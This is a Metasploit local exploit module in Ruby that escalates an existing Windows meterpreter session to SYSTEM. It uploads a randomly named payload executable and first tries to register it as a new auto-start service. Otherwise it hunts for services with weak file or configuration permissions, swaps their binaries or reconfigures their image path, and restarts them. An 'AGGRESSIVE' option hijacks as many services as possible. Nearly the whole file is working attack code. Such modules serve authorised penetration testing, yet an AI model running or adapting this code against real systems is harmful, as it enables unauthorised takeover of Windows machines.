##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Windows::Services

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate Service Permissions Local Privilege Escalation',
      'Description'   => %q{
        This module attempts to exploit existing administrative privileges to obtain
        a SYSTEM session. If directly creating a service fails, this module will inspect
        existing services to look for insecure file or configuration permissions that may
        be hijacked. It will then attempt to restart the replaced service to run the
        payload. This will result in a new session when this succeeds. If the module is
        able to modify the service but does not have permission to start and stop the
        affected service, the attacker must wait for the system to restart before a
        session will be created.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'scriptjunkie' ],
      'Arch'          => [ ARCH_X86 ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => '5'
        },
      'Targets'       =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> "Oct 15 2012"
    ))

    register_options([
      OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
    ])

  end

  def exploit
    # randomize the filename
    filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

    # randomize the exe name
    tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

    raw = payload.encoded

    exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)

    dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
    sysdir = dir_env['SystemRoot']
    tmpdir = dir_env['TEMP']

    print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
    begin
      #
      # Upload the payload to the filesystem
      #
      tempexe = tmpdir + "\\" + tempexe_name
      fd = session.fs.file.new(tempexe, "wb")
      fd.write(exe)
      fd.close
    rescue ::Exception => e
      print_error("Error uploading file #{filename}: #{e.class} #{e}")
      return
    end

    #attempt to make new service

    #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config

    print_status("Trying to add a new service...")
    adv = session.railgun.advapi32
    manag = adv.OpenSCManagerA(nil,nil,0x10013)
    if(manag["return"] != 0)
      # SC_MANAGER_CREATE_SERVICE = 0x0002
      # SERVICE_START=0x0010  SERVICE_WIN32_OWN_PROCESS= 0X00000010
      # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
      newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
        "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
      if(newservice["return"] != 0)
        print_status("Created service... #{newservice["return"]}")
        ret = adv.StartServiceA(newservice["return"], 0, nil)
        print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
        adv.DeleteService(newservice["return"])
        adv.CloseServiceHandle(newservice["return"])
        if datastore['AGGRESSIVE'] != true
          adv.CloseServiceHandle(manag["return"])
          return
        end
      else
        print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
      end
    else
      print_status("No privs to create a service...")
      manag = adv.OpenSCManagerA(nil,nil,1)
      if(manag["return"] == 0)
        print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
      end
    end
    print_status("Trying to find weak permissions in existing services..")
    #Search through list of services to find weak permissions, whether file or config
    serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
    #for each service
    service_list.each do |serv|
      begin
        srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
        if srvtype != "16"
          continue
        end
        moved = false
        configed = false
        #default path, but there should be an ImagePath registry key
        source = "#{sysdir}\\system32\\#{serv}.exe"
        #get path to exe; parse out quotes and arguments
        sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
        sourcemaybe = session.fs.file.expand_path(sourceorig)
        if( sourcemaybe[0] == '"' )
          sourcemaybe = sourcemaybe.split('"')[1]
        else
          sourcemaybe = sourcemaybe.split(' ')[0]
        end
        begin
          session.fs.file.stat(sourcemaybe) #check if it really exists
          source = sourcemaybe
        rescue
          print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
        end
        #try to exploit weak file permissions
        if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
          session.railgun.kernel32.CopyFileA(tempexe, source, false)
          print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
          moved = true
        end
        #try to exploit weak config permissions
        #open with SERVICE_CHANGE_CONFIG (0x0002)
        servhandleret = adv.OpenServiceA(manag["return"],serv,2)
        if(servhandleret["return"] != 0)
          #SERVICE_NO_CHANGE is  0xFFFFFFFF
          if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
              0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
            print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
            configed = true
          end
          adv.CloseServiceHandle(servhandleret["return"])

        end
        if(moved != true && configed != true)
          print_status("No exploitable weak permissions found on #{serv}")
          continue
        end
        print_status("Restarting #{serv}")
        #open with  SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
        servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
        if(servhandleret["return"] != 0)
          #SERVICE_CONTROL_STOP = 0x00000001
          if(adv.ControlService(servhandleret["return"],1,56))
            session.railgun.kernel32.Sleep(1000)
            adv.StartServiceA(servhandleret["return"],0,nil)
            print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
            #Cleanup
            if moved == true
              session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
            end
            if configed == true
              servhandleret = adv.OpenServiceA(manag["return"],serv,2)
              adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
                  0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
              adv.CloseServiceHandle(servhandleret["return"])
            end
          else
            print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
          end
          adv.CloseServiceHandle(servhandleret["return"])
          if datastore['AGGRESSIVE'] != true
            return
          end
        else
          print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
        end
      rescue
      end
    end
  end
end
